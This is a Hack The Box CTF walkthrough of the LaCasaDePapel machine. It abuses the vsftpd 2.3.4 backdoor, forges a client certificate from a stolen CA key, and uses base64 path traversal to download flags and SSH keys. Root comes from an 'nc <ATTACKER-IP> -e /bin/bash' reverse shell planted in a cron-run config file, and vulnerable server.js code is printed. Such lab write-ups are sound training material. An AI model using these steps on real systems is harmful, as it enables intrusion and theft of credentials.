/var/log $ cat "Hack The Box - LaCasaDePapel Walkthrough"

2019-07-27 | ctf hackthebox 

Machine Info

LaCasaDePapel Machine Info

Initial Recon

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ sudo nmap -sC -sV 10.10.10.131
Nmap scan report for lacasadepapel.htb (10.10.10.131)
Host is up (0.090s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 2.3.4
22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
|   256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_  256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp  open  http     Node.js Express framework
|_http-title: La Casa De Papel
443/tcp open  ssl/http Node.js Express framework
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: La Casa De Papel
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after:  2029-01-24T08:35:30
| tls-nextprotoneg:
|   http/1.1
|_  http/1.0
Service Info: OS: Unix

Initial Enumeration

FTP / SSH

Trying to access the FTP service anonymously is not possible. Searching for known vulnerabilities/exploits of vsftpd 2.3.4 we find that for a short period of time it was shipped with a built-in backdoor (VSFTPD v2.3.4 Backdoor Command Execution). This could be a possible way in, if the server is running this particular version.

OpenSSH 7.9 was release October 2018 and is the latest version for the time being (March 2019). A quick search for vulnerabilities results in nothing and accessing it without valid credentials is not possible.

HTTP

Browsing to http://10.10.10.15 we are presented with what looks like a sign up form using an OAuth one-time-password and e-mail as input. Trying to sign up with a OTP using the mentioned ‘Google Authenticator’ doesn’t seem to work. Also it seems that there are no injection vulnerabilities.

La Casa De Papel Website

The QR code gets generated by the endpoint http://10.10.10.131/qrcode and takes the parameter ?qrurl=... as input. Manipulation the parameter generates and according QR code image. The parameter does not seem to be injectable. Accessing just the endpoint without any parameters leads to an error which reveals the possible username ‘oslo’:

QRCode Error

HTTPS

Accessing https://10.10.10.131, which uses a self-signed certificate, results in an error as the service needs client-side authentication with a valid certificate. Viewing the source-code of the website also gives no interesting information.

HTTPS Certificate Error

Own User

Exploiting the vsftpd Backdoor

Reading about the vsftp backdoor (Vulnerability analysis of VSFTPD 2.3.4 backdoor) it can be accessed by authenticating on FTP as a user which contains ‘:)” in the username. Thus opening port 6200 which allows command execution on the target in /bin/sh.

If we try to login, successful or not, with any username containing ‘:)’ we should see port 6200 open afterwards if the backdoor-ed version is running. To do this we can you a variety of tools (e.g. nc, telnet, ftp). There is also a Metasploit module (unix/ftp/vsftp_234_backdoor) for this. I simply opted for netcat:

Activate vsftpd Backdoor

Checking port 6200 with nmap, we now find it open. So we do have the backdoor-ed version here.

nmap Scan for vsftpd Backdoor

Using nc or telnet to connect to port 6200 shows there is psysh (https://psysh.org/), an interactive PHP debugger/console, running. Seems the original vsftpd backdoor has been modified for LaCasaDePapel.

vsftpd Backdoor Shell

Enumerating with psysh

The obvious first choice would be to establish a fully interactive /bin/sh or /bin/bash reverse shell. But checking what we can do in PHP we find that a lot of functions we could use therefore are disabled. Also we can’t enable them.

Disabled PHP Functions

After that point I spent a good amount of time enumerating the box with PHP and recreating functionality in PHP such as ps or a port scanner. I am going to publish the scripts I came up with on my GitHub as soon as I have them in a reusable state. I also was looking for a way to maybe directly go for root. I spare you the details and walk you through the intended way.

Using the built in functions of psysh we find an instance of the class Tokyo. Having a look at the code of the class we find the path to a files named /home/nairobi/ca.key. Judging from the code this is probably the certificate authority private key used for the HTTPS service.

Hint in Tokyo class

Accessing this file is actually possible and it is indeed a private key file:

Private Key

Also always a good idea is having a look at /etc/passwd. As I turns out the assumed user ‘oslo’ does not exist.

/etc/passwd

Using scandir() and file_get_contents() I also went through the complete /home directory structure to see if there could be anything interesting. Turned out this was quite helpful later.

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
/home
|__ /berlin
|   |__ .ash_history -> empty
|   |__ /.ssh -> Permission denied
|   |__ /downloads
|   |   |__ /SEASON-1
|   |   |   |__ 01.avi -> empty
|   |   |   |__ 02.avi -> empty
|   |   |   |__ 03.avi -> empty
|   |   |   |__ 04.avi -> empty
|   |   |   |__ 05.avi -> empty
|   |   |   |__ 06.avi -> empty
|   |   |   |__ 07.avi -> empty
|   |   |   |__ 08.avi -> empty
|   |   |   |__ 09.avi -> empty
|   |   |   |__ 10.avi -> empty
|   |   |   |__ 11.avi -> empty
|   |   |   |__ 12.avi -> empty
|   |   |   |__ 13.avi -> empty
|   |   |   |__ Donwload a video -> empty
|   |   |__ /SEASON-2
|   |   |   |__ 01.avi -> empty
|   |   |   |__ 02.avi -> empty
|   |   |   |__ 03.avi -> empty
|   |   |   |__ 04.avi -> empty
|   |   |   |__ 05.avi -> empty
|   |   |   |__ 06.avi -> empty
|   |   |   |__ 07.avi -> empty
|   |   |   |__ 08.avi -> empty
|   |   |   |__ 09.avi -> empty
|   |   |   |__ Download a video -> empty
|   |   |__ Select a season -> empty
|   |__ /node_modules
|   |   |_ ...
|   |__ server.js -> Permission denied
|   |__ user.txt -> Permission denied
|__ /dali
|   |__ .ash_history -> empty
|   |__ /.config
|   |   |_ psysh -> empty
|   |__ .qmail-default
|   |__ /.ssh
|   |   |__ authorized_keys
|   |   |__ known_hosts
|   |__ server.js
|__ /nairobi
|   |__ ca.key
|   |__ download.jade -> Permission denied
|   |__ error.jade -> Permission denied
|   |__ index.jade -> Permission denied
|   |__ /node_modules
|   |   |__ ...
|   |__ server.js -> Permission denied
|   |__ /static
|       |__ casa.jpg
|       |__ dali.jpg
|       |__ favicon.ico
|       |__ waiting.gif
|__ /oslo
|   |__ /Maildir
|   |   |__ /.Sent
|   |   |   |_ /cur -> empty
|   |   |   |_ /new -> empty
|   |   |   |_ /tmp -> empty
|   |   |__ /.Spam
|   |   |   |_ /cur -> empty
|   |   |   |_ /new -> empty
|   |   |   |_ /tmp -> empty
|   |   |_ /cur -> empty
|   |   |_ /new -> empty
|   |   |_ /tmp -> empty
|   |__ inbox.jade
|   |__ index.jade
|   |__ /node_modules
|       |__ ...
|   |__ package-lock.json
|   |__ server.js
|   |__ /static
|       |__ casa.jpg
|       |__ dali.jpg
|       |__ favicon.ico
|__ /professor
    |__ .ash_history -> emtpy
    |__ /.ssh -> Permission denied
    |__ memcached.ini
    |__ memcached.js
    |__ /node_modules
        |__ ...

It is also possible to add ourself to the authorized keys for SSH for the user ‘dali’. But since the shell would be also psysh the only benefit would be that we still could have access in case vsftpd would be patched. Which is unlikely for a CTF box.

Accessing HTTPS

Converting the private key we found to base64 with base64_encode(file_get_contents('/home/nairobi/ca.key')); we can conveniently copy/paste it over to our machine and decode it with echo -n "..." | base64 -d > ca.key. After downloading the HTTPS certificate (lacasadepapel_htb.crt) we generate ourself a client certificate with openssl. In the last step we need to convert to certificate into the PKCS 12 format so that we can import it in Firefox.

Generate Client Certificate

After importing the certificate into our browser (for Firefox it is Preferences -> Privacy & Security -> View Certificates… -> Your Certificates -> Import) we now have access to a ‘Private Ares’ on HTTPS with two links to ‘SEASON-1’ and ‘SEASON-2’:

Private Ares

Following the links we get a list of .avi files we can download. But doing this only downloads empty files.

Season 1

Season 2

Comparing to the previous finds from the /home enumeration it seems the service is listing the contents of /home/berlin/downloads and generating download links for *.avi files. Still having access via psysh we can quickly test this by creating a ‘SEASON-3’ folder in /home/berlin/downloads. Reloading the website we now see the ‘ SEASON-3’ folder also listed as link to https://10.10.10.131/?path=SEASON-3:

Season 3

Assuming the ?path=... parameter is controlling what is shown on the website by simply listing folder contents (or by knowing it because you already had a look at the code in /home/berlin/server.js, see Appendix - /home/berlin/server.js), we check if it is vulnerable to path traversal. And yes it is. We very simple access /home/berlin with the parameter ?path=..:

Path Traversal

We now can conveniently browse the complete file system starting at / using ?path=../../../..:

Path Traversal

Getting the User Flag

The file download URLs (e.g. for ‘SEASON-101.avi’ it is https://10.10.10.131/file/U0VBU09OLTEvMDEuYXZp) do look like the end is base64 encoded. We can validate this by decoding it (or again reading through the code):

0
1
$ echo "U0VBU09OLTEvMDEuYXZp" | base64 -d
SEASON-1/01.avi

As we already now the user flag is found at /home/berlin/user.txt while the download URLs start at /home/berlin/downloads (see Appendix - /home/berlin/server.js) we can craft a URL for downloading user.txt by base64 encoding ../user.txt as download path:

0
1
$ echo -n "../user.txt" | base64
Li4vdXNlci50eHQ=

Now we can simply download user.txt with the URL https://10.10.10.131/file/Li4vdXNlci50eHQ=.

Download User Flag

Own root

Obtaining SSH Access

Browsing through the file system using the path traversal it is now possible to access /home/berlin/.ssh which was not possible via psysh:

'berlin' SSH Key

As it looks like we have a private key, we can use the same exploit on the file endpoint to download them:

0
1
2
3
4
5
$ echo -n "../.ssh/id_rsa" | base64
Li4vLnNzaC9pZF9yc2E=
$ echo -n "../.ssh/id_rsa.pub" | base64
Li4vLnNzaC9pZF9yc2EucHVi
$ echo -n "../.ssh/authorized_keys" | base64
Li4vLnNzaC9hdXRob3JpemVkX2tleXM=

Resulting in the download URLs:

Having a look at id_rsa we see that it is a private key:

0
1
2
3
4
5
6
7
8
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAotH6Ygupi7JhjdbDXhg2f9xmzxaDNdxxEioAgH2GjUeUc4cJeTfU

<--- snip --->

ram9k+oABmLisVVgkKvfbzWRmGMDfG2X0jOrIw52TZn9MwTcr+oMyi1RTG7oabPl6cNM0x
X3a0iF5JE3kAAAAYYmVybGluQGxhY2FzYWRlcGFwZWwuaHRiAQID
-----END OPENSSH PRIVATE KEY-----

Generating the public key from id_rsa and comparing it to id_rsa.pub shows that we have a valid key pair. But checking the public key against /home/berlin/.ssh/authorized_keys we see it’s no in there giving us no access as ‘berlin’:

0
1
2
3
4
5
6
7
$ sudo ssh-keygen -y -f id_rsa
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi0fpiC6mLsmGN1sNeGDZ/3GbPFoM13HESKgCAfYaNR5Rzhwl5N9T/JaDW/LHV1epqd/ADNg5AtSA73+sNsj3LnWtNCcuEeyn+IWIZ28M7mJnAs2vCbNUvGAZz6Y1pzerEdy4fHur7NAcHw19T+rPIAvb/GxGTME4NGDbW2xWqdNXzdPwIVIFQ7aPOK0cU2O9htpw/4mf1DljYdF0TTcNacAknvOThJZaJwzeuK65jJ6pXo5gpugfCL4UH3hjHXFo8UY/tPSOcFTeaiVRGEoqiU2pjvw8TmpimU7947kf/u8pusXsnlW2xWm8ZCyaOpSFAr8ahisy50iFx9BIxSemBZdi0KcikFrndpj9+XRdikv1rVlCHWIabiiV5Wdk2+oxriZv7yQLyTdYObD2mr9bd4ZVDpd7KP/iRQQ17VDzGP0EhctknBdge0AItLg9oplJFoVKORz/br9Pb3nx/agGokt/6jGLJ2BxMja8Lfg5jDBLtw5xKxLgeK9QLorugkkfDedQ2gDaB7dzCI7ps0esQowlY6symn1Qf0FtD+7uTkCntAXzIF+t0LrgQBTPJkldZ17U2FI2OIjSsGrMI9lAZI4sQgUDDNTRswi4m7gkhA4Af7e1+iHxxxR01yZ8fstpPukXdVjDKg8yjAukDx8bgVcbK+jKt95NcLoZjT7U1VQ==

$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi0fpiC6mLsmGN1sNeGDZ/3GbPFoM13HESKgCAfYaNR5Rzhwl5N9T/JaDW/LHV1epqd/ADNg5AtSA73+sNsj3LnWtNCcuEeyn+IWIZ28M7mJnAs2vCbNUvGAZz6Y1pzerEdy4fHur7NAcHw19T+rPIAvb/GxGTME4NGDbW2xWqdNXzdPwIVIFQ7aPOK0cU2O9htpw/4mf1DljYdF0TTcNacAknvOThJZaJwzeuK65jJ6pXo5gpugfCL4UH3hjHXFo8UY/tPSOcFTeaiVRGEoqiU2pjvw8TmpimU7947kf/u8pusXsnlW2xWm8ZCyaOpSFAr8ahisy50iFx9BIxSemBZdi0KcikFrndpj9+XRdikv1rVlCHWIabiiV5Wdk2+oxriZv7yQLyTdYObD2mr9bd4ZVDpd7KP/iRQQ17VDzGP0EhctknBdge0AItLg9oplJFoVKORz/br9Pb3nx/agGokt/6jGLJ2BxMja8Lfg5jDBLtw5xKxLgeK9QLorugkkfDedQ2gDaB7dzCI7ps0esQowlY6symn1Qf0FtD+7uTkCntAXzIF+t0LrgQBTPJkldZ17U2FI2OIjSsGrMI9lAZI4sQgUDDNTRswi4m7gkhA4Af7e1+iHxxxR01yZ8fstpPukXdVjDKg8yjAukDx8bgVcbK+jKt95NcLoZjT7U1VQ== berlin@lacasadepapel.htb

$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsDHKXtzjeyuWjw42RbtoDy2c6lWdtfEzsmqmHrbJDY2hDcKWekWouWhe/NTCQFim6weKtsEdTzh0Qui+6jKc8/ZtpKzHrXiSXSe48JwpG7abmp5iCihzDozJqggBNoAQrvZqBhg6svcKh8F0kTnxUkBQgBm4kjOPteN+TfFoNIod7DQ72/N25D/lVThCLcStbPkR8fgBz7TGuTTAsNFXVwjlsgwi2qUF9UM6C1JkMBk5Y9ssDHiu4R35R5eCl4EEZLL946n/Gd5QB7pmIRHMkmt2ztOaKU4xZthurZpDXt+Et+Rm3dAlAZLO/5dwjqIfmEBS1eQ4sT8hlUkuLvjUDw== thek@ThekMac.local

From /etc/passwd we know the valid users on the box. We already can get SSH access as ‘dali’ resulting in a psysh shell if we liked. ‘berlin’ is not possible with the key we just found. Having a look at /etc/ssh/sshd_config (by downloading it via https://10.10.10.131/file/Li4vLi4vLi4vLi4vZXRjL3NzaC9zc2hkX2NvbmZpZw==) we find that root access via ssh is allowed (PermitRootLogin yes). But if we try it as root it does not work. /home/professor/.ssh or /root are still not accessible. This leaves us ‘professor’. And fortunately it works:

SSH Access as 'professor'

We now have SSH access which makes further enumeration for privilege escalation much fast and easier than with PHP and psysh.

Getting a root Shell

Transferring pspy over to the box (wget is installed) and running it we find that sudo -u nobody /usr/bin/node /home/professor/memcached.js is executed as root every minute. Looking through the files in /home/professor we can find the exact same command in memcached.ini:

/home/professor/memcached.ini

It’s fair to assume that this file is somehow loaded. We cannot edit it as we are lacking the permission. But we can change this by copying the file and by this changing the file permissions:

Changing memcached.ini Permissions

Checking which possibilities we might have for a reverse shell we find that the version of netcat installed does have the -e option:

netcat with -e

By editing memcached.ini and replacing the command = sudo ... with command = nc <ATTACKER-IP> <PORT> -e /bin/bash (of course replacing IP and port with where we started our listener) we only have to wait for the next execution to get a root shell:

root Shell and Flag

Appendix

/home/berlin/server.js

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
const fs = require('fs')
const express = require('express')
const root = '/home/berlin/downloads/';
const app = express()

app.get('/', function (req, res) {

    var path = req.query.path || ''
    if( path && path[path.length-1] != '/') path=path.concat('/')
    var files = fs.readdirSync(root + path)

    var html = ''
    files.forEach(function(file) {
        const ext = file.split('.').pop()
        if (fs.statSync(root + path + file).isDirectory()) {
            html+='<li><a href="?path='+path+file+'">'+file+'</a></li>'
        }
        else if (ext=='avi') {
            html+='<li><a href="/file/'+Buffer.from(path+file).toString('base64')+'">'+file+'</a></li>'
        }
        else {
            html+='<li><strong>'+file+'</strong></li>'
        }
    })

    res.set('Content-Type', 'text/html').send(html)
})

app.get('/file/:file', function (req, res) {

    var file = Buffer.from(req.params.file, 'base64').toString('ascii')
    file = fs.readFileSync(root+file, 'binary');

    res.setHeader('Content-Length', file.length);
    res.write(file, 'binary');
    res.end();
})

app.listen(8000, "127.0.0.1")